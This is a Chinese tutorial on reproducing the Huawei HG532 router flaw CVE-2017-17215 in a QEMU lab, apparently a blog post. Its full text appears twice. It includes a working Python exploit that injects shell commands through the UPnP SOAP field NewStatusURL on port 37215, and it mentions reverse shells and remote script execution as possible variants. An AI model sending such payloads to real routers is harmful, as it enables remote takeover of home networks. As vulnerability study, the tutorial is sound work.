1. 漏洞背景与环境准备第一次听说CVE-2017-17215这个漏洞时我正在研究智能家居设备的安全性问题。这个漏洞影响的是华为HG532系列家用路由器攻击者可以通过UPnP服务发送精心构造的SOAP请求实现远程代码执行。最危险的是这个漏洞不需要任何身份验证直接暴露在公网的路由器就可能被攻击。为了复现这个漏洞我们需要准备以下环境一台运行Ubuntu 20.04的虚拟机建议分配至少2核CPU和4GB内存华为HG532路由器的固件包版本号为HG532eV100R001C01B020QEMU模拟器用于运行MIPS架构的路由器系统Binwalk工具用于固件解包分析在实际操作中我发现很多教程都忽略了环境配置的细节。比如Ubuntu版本的选择就很关键太新的系统可能会遇到依赖库冲突而太旧的系统又缺少必要的工具支持。经过多次测试Ubuntu 20.04 LTS是最稳定的选择。2. 固件获取与解包实战拿到固件包是复现的第一步但这个过程就暗藏玄机。我最初按照网上的教程操作时发现直接使用binwalk解包会得到空的squashfs-root文件夹。后来排查发现这是因为缺少了关键的sasquatch插件。正确的解包流程应该是这样的# 安装基础工具 sudo apt update sudo apt install git build-essential liblzma-dev liblzo2-dev zlib1g-dev # 编译安装sasquatch git clone https://github.com/devttys0/sasquatch.git cd sasquatch ./build.sh这里有个坑点需要注意在某些网络环境下直接git clone可能会失败。这时可以手动下载源码包或者使用代理工具。安装完成后再次运行binwalk就能成功解包了binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin解包完成后你会在当前目录看到squashfs-root文件夹里面就是路由器的完整文件系统。我建议这时候做个备份因为后续操作可能会需要反复尝试。3. QEMU模拟环境搭建模拟MIPS架构的环境是复现过程中最具挑战性的部分。我们需要准备Debian Squeeze的QEMU镜像mips架构配套的内核文件虚拟网络配置具体操作步骤如下# 安装QEMU和相关工具 sudo apt install qemu-system-mips binfmt-support qemu-user-static # 下载镜像文件 wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2 wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta # 配置网络桥接 sudo apt install bridge-utils uml-utilities sudo brctl addbr Virbr0 sudo ifconfig Virbr0 192.168.12.10/24 up sudo tunctl -t tap0 sudo ifconfig tap0 192.168.12.20/24 up sudo brctl addif Virbr0 tap0启动QEMU虚拟机时参数配置很关键sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta \ -hda debian_squeeze_mips_standard.qcow2 \ -append root/dev/sda1 consoletty0 \ -netdev tap,idtapnet,ifnametap0,scriptno \ -device rtl8139,netdevtapnet -nographic这里我遇到过一个典型问题网络不通。后来发现是因为忘记给QEMU虚拟机配置IP地址。解决方法是在QEMU控制台中执行ifconfig eth0 192.168.12.30/24 up4. 路由器系统启动与配置将解包得到的文件系统传输到QEMU虚拟机后还需要进行一系列配置才能正常启动路由器服务# 传输文件系统 scp -r squashfs-root/ root192.168.12.30:/root # 挂载必要的目录 mount -o bind /dev ./squashfs-root/dev mount -t proc /proc ./squashfs-root/proc # 进入路由器shell环境 chroot squashfs-root sh启动路由器服务时我发现直接运行upnp服务会失败因为缺少必要的环境变量。正确的启动方式是./bin/upnp ./bin/mic 这时候可以通过另一个SSH会话监控服务状态ps aux | grep upnp netstat -tulnp | grep 37215验证服务是否正常工作的简单方法是访问管理页面。由于是自签名证书需要在浏览器中手动添加安全例外。我在Firefox中是这样设置的访问about:config搜索security.tls.version.min将值设置为15. 漏洞利用与验证终于到了最关键的漏洞利用环节。这个漏洞的利用原理是通过UPnP服务的SOAP接口注入命令。构造的payload需要符合特定的XML格式import requests headers { Authorization: Digest usernamedslf-config, realmHuaweiHomeGateway, nonce88645cefb1f9ede0e336e3569d75ee30, uri/ctrlt/DeviceUpgrade_1, response3612f843a42db38f48f59d2a3597e19c, algorithmMD5, qopauth, nc00000001, cnonce248d1a2560100669 } payload ?xml version1.0 ? s:Envelope xmlns:shttp://schemas.xmlsoap.org/soap/envelope/ s:encodingStylehttp://schemas.xmlsoap.org/soap/encoding/ s:Bodyu:Upgrade xmlns:uurn:schemas-upnp-org:service:WANPPPConnection:1 NewStatusURL;echo hello/test/NewStatusURL NewDownloadURLHUAWEIUPNP/NewDownloadURL /u:Upgrade /s:Body /s:Envelope response requests.post(http://192.168.12.30:37215/ctrlt/DeviceUpgrade_1, headersheaders, datapayload) print(response.status_code)执行成功后可以在QEMU虚拟机中验证是否创建了test文件cat /test如果看到输出了hello恭喜你成功复现了漏洞在实际测试中我发现命令注入的符号使用很有讲究。比如使用重定向符号时必须确保没有空格否则会被解析为参数分隔。6. 常见问题排查在整个复现过程中我遇到过各种奇怪的问题。这里分享几个典型问题的解决方法问题1binwalk解包失败症状squashfs-root目录为空 解决方法确保安装了所有依赖库检查sasquatch是否编译安装成功尝试使用-E参数强制解包问题2QEMU启动后网络不通排查步骤检查主机端的Virbr0和tap0接口状态确认QEMU虚拟机获得了正确IP测试双向ping通问题3路由器服务启动失败可能原因缺少必要的设备节点检查/dev下的设备文件环境变量未设置尝试导出PATH等变量端口冲突检查37215端口是否被占用问题4漏洞利用无效果检查点确认请求发送到了正确的端口检查SOAP消息的格式是否正确验证命令字符串是否符合shell语法7. 深入理解漏洞原理这个漏洞的根本原因在于UPnP服务对用户输入的处理不当。具体来说路由器开启了37215端口的UPnP服务服务接收到SOAP请求后未对NewStatusURL参数做充分过滤攻击者可以通过注入分号等特殊字符执行任意命令从安全防护角度看这个案例教会我们永远不要信任用户输入服务暴露的最小化原则及时更新固件的重要性在复现过程中我尝试了多种payload变体发现除了直接执行命令外还可以实现创建反弹shell连接下载并执行远程脚本修改路由器配置这些操作都只需要构造相应的命令字符串即可实现充分说明了漏洞的危险性。
从零到一：实战复现华为路由器CVE-2017-17215远程代码执行漏洞
发布时间：2026/5/28 16:26:35
1. 漏洞背景与环境准备第一次听说CVE-2017-17215这个漏洞时我正在研究智能家居设备的安全性问题。这个漏洞影响的是华为HG532系列家用路由器攻击者可以通过UPnP服务发送精心构造的SOAP请求实现远程代码执行。最危险的是这个漏洞不需要任何身份验证直接暴露在公网的路由器就可能被攻击。为了复现这个漏洞我们需要准备以下环境一台运行Ubuntu 20.04的虚拟机建议分配至少2核CPU和4GB内存华为HG532路由器的固件包版本号为HG532eV100R001C01B020QEMU模拟器用于运行MIPS架构的路由器系统Binwalk工具用于固件解包分析在实际操作中我发现很多教程都忽略了环境配置的细节。比如Ubuntu版本的选择就很关键太新的系统可能会遇到依赖库冲突而太旧的系统又缺少必要的工具支持。经过多次测试Ubuntu 20.04 LTS是最稳定的选择。2. 固件获取与解包实战拿到固件包是复现的第一步但这个过程就暗藏玄机。我最初按照网上的教程操作时发现直接使用binwalk解包会得到空的squashfs-root文件夹。后来排查发现这是因为缺少了关键的sasquatch插件。正确的解包流程应该是这样的# 安装基础工具 sudo apt update sudo apt install git build-essential liblzma-dev liblzo2-dev zlib1g-dev # 编译安装sasquatch git clone https://github.com/devttys0/sasquatch.git cd sasquatch ./build.sh这里有个坑点需要注意在某些网络环境下直接git clone可能会失败。这时可以手动下载源码包或者使用代理工具。安装完成后再次运行binwalk就能成功解包了binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin解包完成后你会在当前目录看到squashfs-root文件夹里面就是路由器的完整文件系统。我建议这时候做个备份因为后续操作可能会需要反复尝试。3. QEMU模拟环境搭建模拟MIPS架构的环境是复现过程中最具挑战性的部分。我们需要准备Debian Squeeze的QEMU镜像mips架构配套的内核文件虚拟网络配置具体操作步骤如下# 安装QEMU和相关工具 sudo apt install qemu-system-mips binfmt-support qemu-user-static # 下载镜像文件 wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2 wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta # 配置网络桥接 sudo apt install bridge-utils uml-utilities sudo brctl addbr Virbr0 sudo ifconfig Virbr0 192.168.12.10/24 up sudo tunctl -t tap0 sudo ifconfig tap0 192.168.12.20/24 up sudo brctl addif Virbr0 tap0启动QEMU虚拟机时参数配置很关键sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta \ -hda debian_squeeze_mips_standard.qcow2 \ -append root/dev/sda1 consoletty0 \ -netdev tap,idtapnet,ifnametap0,scriptno \ -device rtl8139,netdevtapnet -nographic这里我遇到过一个典型问题网络不通。后来发现是因为忘记给QEMU虚拟机配置IP地址。解决方法是在QEMU控制台中执行ifconfig eth0 192.168.12.30/24 up4. 路由器系统启动与配置将解包得到的文件系统传输到QEMU虚拟机后还需要进行一系列配置才能正常启动路由器服务# 传输文件系统 scp -r squashfs-root/ root192.168.12.30:/root # 挂载必要的目录 mount -o bind /dev ./squashfs-root/dev mount -t proc /proc ./squashfs-root/proc # 进入路由器shell环境 chroot squashfs-root sh启动路由器服务时我发现直接运行upnp服务会失败因为缺少必要的环境变量。正确的启动方式是./bin/upnp ./bin/mic 这时候可以通过另一个SSH会话监控服务状态ps aux | grep upnp netstat -tulnp | grep 37215验证服务是否正常工作的简单方法是访问管理页面。由于是自签名证书需要在浏览器中手动添加安全例外。我在Firefox中是这样设置的访问about:config搜索security.tls.version.min将值设置为15. 漏洞利用与验证终于到了最关键的漏洞利用环节。这个漏洞的利用原理是通过UPnP服务的SOAP接口注入命令。构造的payload需要符合特定的XML格式import requests headers { Authorization: Digest usernamedslf-config, realmHuaweiHomeGateway, nonce88645cefb1f9ede0e336e3569d75ee30, uri/ctrlt/DeviceUpgrade_1, response3612f843a42db38f48f59d2a3597e19c, algorithmMD5, qopauth, nc00000001, cnonce248d1a2560100669 } payload ?xml version1.0 ? s:Envelope xmlns:shttp://schemas.xmlsoap.org/soap/envelope/ s:encodingStylehttp://schemas.xmlsoap.org/soap/encoding/ s:Bodyu:Upgrade xmlns:uurn:schemas-upnp-org:service:WANPPPConnection:1 NewStatusURL;echo hello/test/NewStatusURL NewDownloadURLHUAWEIUPNP/NewDownloadURL /u:Upgrade /s:Body /s:Envelope response requests.post(http://192.168.12.30:37215/ctrlt/DeviceUpgrade_1, headersheaders, datapayload) print(response.status_code)执行成功后可以在QEMU虚拟机中验证是否创建了test文件cat /test如果看到输出了hello恭喜你成功复现了漏洞在实际测试中我发现命令注入的符号使用很有讲究。比如使用重定向符号时必须确保没有空格否则会被解析为参数分隔。6. 常见问题排查在整个复现过程中我遇到过各种奇怪的问题。这里分享几个典型问题的解决方法问题1binwalk解包失败症状squashfs-root目录为空 解决方法确保安装了所有依赖库检查sasquatch是否编译安装成功尝试使用-E参数强制解包问题2QEMU启动后网络不通排查步骤检查主机端的Virbr0和tap0接口状态确认QEMU虚拟机获得了正确IP测试双向ping通问题3路由器服务启动失败可能原因缺少必要的设备节点检查/dev下的设备文件环境变量未设置尝试导出PATH等变量端口冲突检查37215端口是否被占用问题4漏洞利用无效果检查点确认请求发送到了正确的端口检查SOAP消息的格式是否正确验证命令字符串是否符合shell语法7. 深入理解漏洞原理这个漏洞的根本原因在于UPnP服务对用户输入的处理不当。具体来说路由器开启了37215端口的UPnP服务服务接收到SOAP请求后未对NewStatusURL参数做充分过滤攻击者可以通过注入分号等特殊字符执行任意命令从安全防护角度看这个案例教会我们永远不要信任用户输入服务暴露的最小化原则及时更新固件的重要性在复现过程中我尝试了多种payload变体发现除了直接执行命令外还可以实现创建反弹shell连接下载并执行远程脚本修改路由器配置这些操作都只需要构造相应的命令字符串即可实现充分说明了漏洞的危险性。
